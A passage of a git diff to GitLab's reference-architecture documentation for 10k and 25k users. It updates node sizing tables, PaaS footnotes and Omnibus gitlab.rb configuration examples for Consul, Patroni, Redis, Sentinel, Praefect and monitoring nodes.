+ 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
1. Confirm the node can connect to Gitaly:
```shell
@@ -2214,55 +2225,34 @@ To configure the Monitoring node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- external_url 'http://gitlab.example.com'
+ roles(['monitoring_role', 'consul_role'])
- # Disable all other services
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
+ external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
- grafana['enable'] = true
+ # Grafana
grafana['admin_password'] = '<grafana_password>'
+ grafana['disable_login_form'] = false
# Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Prevent database migrations from running on upgrade automatically
- gitlab_rails['auto_migrate'] = false
+ # Nginx - For Grafana access
+ nginx['enable'] = true
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. In the GitLab UI, set `admin/application_settings/metrics_and_profiling` > Metrics - Grafana to `/-/grafana` to
`http[s]://<MONITOR NODE>/-/grafana`
@@ -2395,35 +2385,46 @@ time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types,
and CPU requirements should translate to most other providers. We hope to update this in the
future with further specific cloud provider details.
-| Service | Nodes | Configuration | GCP | Allocatable CPUs and Memory |
-|-------------------------------------------------------|-------|-------------------------|------------------|-----------------------------|
-| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-standard-32` | 127.5 vCPU, 118 GB memory |
-| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory |
-| Supporting services such as NGINX, Prometheus, etc... | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
+| Service | Nodes(1) | Configuration | GCP | Allocatable CPUs and Memory |
+|-------------------------------------------------------|----------|-------------------------|------------------|-----------------------------|
+| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | 127.5 vCPU, 118 GB memory |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory |
+| Supporting services such as NGINX, Prometheus, etc. | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Nodes configuration is shown as it is forced to ensure pod vcpu / memory ratios and avoid scaling during **performance testing**.
+ In production deployments there is no need to assign pods to nodes. A minimum of three nodes in three different availability zones is strongly recommended to align with resilient cloud architecture practices.
+<!-- markdownlint-enable MD029 -->
Next are the backend components that run on static compute VMs via Omnibus (or External PaaS
services where applicable):
| Service | Nodes | Configuration | GCP |
|--------------------------------------------|-------|-------------------------|------------------|
-| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
-| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` |
-| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
-| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
-| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
-| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
-| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
+| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| PostgreSQL(1) | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
+| Redis Sentinel - Queues / Shared State(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` |
| Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` |
| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
-| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
-| Object storage | n/a | n/a | n/a |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Object storage(4) | n/a | n/a | n/a |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 10k
diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md
index 129386d6ce5..1f72c45c2b7 100644
--- a/doc/administration/reference_architectures/25k_users.md
+++ b/doc/administration/reference_architectures/25k_users.md
@@ -17,29 +17,34 @@ full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|------------------------------------------|-------------|-------------------------|------------------|--------------|-----------|
-| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
-| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL* | 3 | 16 vCPU, 60 GB memory | `n1-standard-1` | `m5.4xlarge` | `D16s v3` |
-| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | `n1-highcpu-4` | `c5.large` | `F2s v2` |
-| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
-| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
+| External load balancing node(3) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL(1) | 3 | 16 vCPU, 60 GB memory | `n1-standard-1` | `m5.4xlarge` | `D16s v3` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Internal load balancing node(3) | 1 | 4 vCPU, 3.6GB memory | `n1-highcpu-4` | `c5.large` | `F2s v2` |
+| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
+| Redis Sentinel - Queues / Shared State(2)| 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
| Gitaly | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` | `m5.8xlarge` | `D32s v3` |
| Praefect | 3 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
-| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` |
| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| Object storage(4) | n/a | n/a | n/a | n/a | n/a |
+| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 25k
@@ -157,7 +162,7 @@ To set up GitLab and its components to accommodate up to 25,000 users:
provides access to the Git repositories.
1. [Configure Sidekiq](#configure-sidekiq).
1. [Configure the main GitLab Rails application](#configure-gitlab-rails)
- to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend
+ to run Puma, Workhorse, GitLab Shell, and to serve all frontend
requests (which include UI, API, and Git over HTTP/SSH).
1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab
environment.
@@ -413,11 +418,6 @@ The following IPs will be used as an example:
- `10.6.0.12`: Consul 2
- `10.6.0.13`: Consul 3
-NOTE:
-The configuration processes for the other servers in your reference architecture will
-use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect
-with the other servers.
-
To configure Consul:
1. SSH in to the server that will host Consul.
@@ -428,10 +428,9 @@ To configure Consul:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['consul_role']
+ roles(['consul_role'])
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -448,7 +447,11 @@ To configure Consul:
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Consul nodes, and
make sure you set up the correct IPs.
@@ -540,6 +543,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
sudo gitlab-ctl pg-password-md5 pgbouncer
```
+1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default
+ username of `gitlab_replicator` (recommended). The command will request a password
+ and a confirmation. Use the value that is output by this command in the next step
+ as the value of `<postgresql_replication_password_hash>`:
+
+ ```shell
+ sudo gitlab-ctl pg-password-md5 gitlab_replicator
+ ```
+
1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default
username of `gitlab-consul` (recommended). The command will request a password
and confirmation. Use the value that is output by this command in the next
@@ -552,19 +564,21 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except PostgreSQL, Patroni, and Consul
- roles ['postgres_role']
+ # Disable all components except Patroni and Consul
+ roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
- # Enable Patroni
- patroni['enable'] = true
- # Set `max_wal_senders` to one more than the number of database nodes in the cluster.
+ # Sets `max_replication_slots` to double the number of database nodes.
+ # Patroni uses one extra slot per node when initiating the replication.
+ patroni['postgresql']['max_replication_slots'] = 8
+
+ # Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
- patroni['postgresql']['max_wal_senders'] = 4
- patroni['postgresql']['max_replication_slots'] = 4
+ patroni['postgresql']['max_wal_senders'] = 9
+
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
@@ -572,7 +586,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
consul['services'] = %w(postgresql)
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -582,6 +595,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
#
# Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>'
+ # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value
+ postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
@@ -605,9 +620,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind`
Like most failover handling methods, this has a small chance of leading to data loss.
Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method).
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -622,21 +636,7 @@ are supported and can be added if needed.
#### PostgreSQL post-configuration
-SSH in to the **primary node**:
-
-1. Open a database prompt:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
-1. Make sure the `pg_trgm` extension is enabled (it might already be):
-
- ```shell
- CREATE EXTENSION pg_trgm;
- ```
-
-1. Exit the database prompt by typing `\q` and Enter.
+SSH in to any of the Patroni nodes on the **primary site**:
1. Check the status of the leader and cluster:
@@ -678,7 +678,7 @@ The following IPs will be used as an example:
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -695,7 +695,6 @@ The following IPs will be used as an example:
# Configure Consul agent
consul['watchers'] = %w(postgresql)
- consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -707,9 +706,8 @@ The following IPs will be used as an example:
node_exporter['listen_address'] = '0.0.0.0:9100'
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -828,8 +826,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role']
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -851,7 +849,6 @@ a node and change its status from primary to replica (and vice versa).
redis['maxmemory_samples'] = 5
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -863,19 +860,22 @@ a node and change its status from primary to replica (and vice versa).
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.51:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
#### Configure the replica Redis Cache nodes
@@ -888,8 +888,8 @@ You can specify multiple roles, like sentinel and Redis, as:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role']
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -918,7 +918,6 @@ You can specify multiple roles, like sentinel and Redis, as:
redis['maxmemory_samples'] = 5
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -930,21 +929,25 @@ You can specify multiple roles, like sentinel and Redis, as:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.52:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -986,7 +989,7 @@ To configure the Sentinel Cache server:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role']
+ roles(['redis_sentinel_role', 'consul_role'])
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis-cache'
@@ -1050,7 +1053,6 @@ To configure the Sentinel Cache server:
#sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1067,11 +1069,11 @@ To configure the Sentinel Cache server:
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Consul/Sentinel nodes, and
make sure you set up the correct IPs.
@@ -1099,8 +1101,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -1116,7 +1118,6 @@ a node and change its status from primary to replica (and vice versa).
redis['password'] = 'REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER'
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1133,14 +1134,13 @@ a node and change its status from primary to replica (and vice versa).
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
#### Configure the replica Redis Queues nodes
@@ -1153,8 +1153,8 @@ You can specify multiple roles, like sentinel and Redis, as:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -1177,7 +1177,6 @@ You can specify multiple roles, like sentinel and Redis, as:
#redis['master_port'] = 6379
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1189,21 +1188,25 @@ You can specify multiple roles, like sentinel and Redis, as:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.62:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -1245,7 +1248,7 @@ To configure the Sentinel Queues server:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role']
+ roles(['redis_sentinel_role', 'consul_role'])
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis-persistent'
@@ -1309,7 +1312,6 @@ To configure the Sentinel Queues server:
#sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1326,7 +1328,10 @@ To configure the Sentinel Queues server:
gitlab_rails['auto_migrate'] = false
```
-1. To prevent database migrations from running on upgrade, run:
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
@@ -1334,11 +1339,8 @@ To configure the Sentinel Queues server:
Only the primary GitLab application server should handle migrations.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
-
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Sentinel nodes, and
make sure you set up the correct IPs.
@@ -1399,9 +1401,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
```ruby
# Disable all components except PostgreSQL and Consul
- roles ['postgres_role']
- repmgr['enable'] = false
- patroni['enable'] = false
+ roles(['postgres_role', 'consul_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -1411,7 +1411,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -1437,7 +1436,11 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# END user configuration
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Follow the [post configuration](#praefect-postgresql-post-configuration).
<div align="right">
@@ -1535,19 +1538,18 @@ To configure the Praefect nodes, on each one:
1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect:
```ruby
- # Avoid running unnecessary services on the Gitaly server
+ # Avoid running unnecessary services on the Praefect server
+ gitaly['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Praefect Configuration
praefect['enable'] = true
@@ -1585,19 +1587,20 @@ To configure the Praefect nodes, on each one:
# server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1')
praefect['virtual_storages'] = {
'default' => {
- 'gitaly-1' => {
